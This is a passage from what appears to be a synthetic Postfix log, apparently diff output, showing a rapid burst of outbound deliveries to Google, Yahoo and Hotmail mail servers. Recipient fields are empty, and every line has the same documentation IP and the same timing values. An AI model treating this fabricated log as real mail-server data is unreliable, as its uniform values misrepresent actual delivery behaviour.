10:02:23 postfix/smtp[7491]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:23 postfix/smtp[9028]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:25 postfix/smtp[9732]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:26 postfix/smtp[6579]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:26 postfix/smtp[9486]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:27 postfix/smtp[5408]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:27 postfix/smtp[6999]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:28 postfix/smtp[5058]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:28 postfix/smtp[8689]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:28 postfix/smtp[9743]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:30 postfix/smtp[6987]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:30 postfix/smtp[8668]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:30 postfix/smtp[8825]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:30 postfix/smtp[8992]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:30 postfix/smtp[9577]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 15 10:02:31 postfix/smtp[5872]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:31 postfix/smtp[6020]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:32 postfix/smtp[5759]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:33 postfix/smtp[6177]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:33 postfix/smtp[6342]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:33 postfix/smtp[6360]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:33 postfix/smtp[7661]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:33 postfix/smtp[7877]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:33 postfix/smtp[9690]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:35 postfix/smtp[5273]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:35 postfix/smtp[5830]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:36 postfix/smtp[5778]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:36 postfix/smtp[6697]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:36 postfix/smtp[6913]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:36 postfix/smtp[7584]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:36 postfix/smtp[9260]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:37 postfix/smtp[5103]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:37 postfix/smtp[6365]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:37 postfix/smtp[6536]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:37 postfix/smtp[7590]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:37 postfix/smtp[9052]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:38 postfix/smtp[9100]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:40 postfix/smtp[6476]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:40 postfix/smtp[8530]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:40 postfix/smtp[9796]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:41 postfix/smtp[6977]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:42 postfix/smtp[9306]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:42 postfix/smtp[9869]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:43 postfix/smtp[5041]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:43 postfix/smtp[8737]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:45 postfix/smtp[5069]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:45 postfix/smtp[7055]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:45 postfix/smtp[8992]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:46 postfix/smtp[6441]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:46 postfix/smtp[8546]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:46 postfix/smtp[9822]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:47 postfix/smtp[5202]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:47 postfix/smtp[6023]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:47 postfix/smtp[7857]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:47 postfix/smtp[9753]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:50 postfix/smtp[6252]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:50 postfix/smtp[7020]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:50 postfix/smtp[8729]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:52 postfix/smtp[6300]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:52 postfix/smtp[6535]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:53 postfix/smtp[8596]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:53 postfix/smtp[9388]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:55 postfix/smtp[5917]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:55 postfix/smtp[9008]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:56 postfix/smtp[6370]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:57 postfix/smtp[7149]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:02:57 postfix/smtp[7906]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:00 postfix/smtp[5208]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:00 postfix/smtp[5786]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:00 postfix/smtp[6067]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:00 postfix/smtp[7314]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:00 postfix/smtp[9572]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:01 postfix/smtp[6590]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:01 postfix/smtp[6972]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:01 postfix/smtp[8056]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:03 postfix/smtp[6630]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:03 postfix/smtp[9346]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:05 postfix/smtp[5967]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:05 postfix/smtp[7199]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:05 postfix/smtp[8066]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:06 postfix/smtp[5132]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:06 postfix/smtp[5505]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:06 postfix/smtp[8631]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:06 postfix/smtp[8793]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:07 postfix/smtp[5750]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:07 postfix/smtp[8202]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:08 postfix/smtp[5141]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:08 postfix/smtp[5591]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:08 postfix/smtp[8823]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:10 postfix/smtp[5175]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:10 postfix/smtp[7458]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:10 postfix/smtp[8283]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:10 postfix/smtp[8345]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:11 postfix/smtp[9116]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:11 postfix/smtp[9896]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:12 postfix/smtp[5839]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:12 postfix/smtp[7566]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:13 postfix/smtp[6300]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:13 postfix/smtp[8092]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:13 postfix/smtp[8949]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:13 postfix/smtp[9149]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:15 postfix/smtp[5686]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:15 postfix/smtp[6508]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:15 postfix/smtp[9284]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:15 postfix/smtp[9889]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:16 postfix/smtp[7503]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:16 postfix/smtp[7507]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:17 postfix/smtp[7039]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:17 postfix/smtp[7416]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:17 postfix/smtp[8315]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:18 postfix/smtp[5836]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:18 postfix/smtp[6094]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:18 postfix/smtp[8497]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:18 postfix/smtp[8599]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:18 postfix/smtp[9747]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:20 postfix/smtp[5313]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:20 postfix/smtp[8572]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:21 postfix/smtp[7350]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:21 postfix/smtp[9115]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:21 postfix/smtp[9199]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:22 postfix/smtp[5955]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:22 postfix/smtp[7499]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:23 postfix/smtp[9103]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:25 postfix/smtp[6994]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:25 postfix/smtp[8624]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:26 postfix/smtp[6468]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:26 postfix/smtp[8853]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:26 postfix/smtp[9328]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:26 postfix/smtp[9879]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:27 postfix/smtp[5244]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:27 postfix/smtp[7964]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:27 postfix/smtp[8246]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:27 postfix/smtp[9299]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:27 postfix/smtp[9805]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:28 postfix/smtp[5686]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:28 postfix/smtp[9078]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:30 postfix/smtp[7774]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:30 postfix/smtp[8065]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:30 postfix/smtp[8392]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:30 postfix/smtp[8681]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:31 postfix/smtp[8839]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:31 postfix/smtp[9713]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:32 postfix/smtp[7070]: to=, relay=mxa.mail.yahoo.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:32 postfix/smtp[8957]: to=, relay=mx.hotmail.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:33 postfix/smtp[7670]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 10:03:35 postfix/smtp[7024]: to=, relay=mx.google.com[192.0.2.1]:25, delay=0.5, delays=0.1/0/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 15 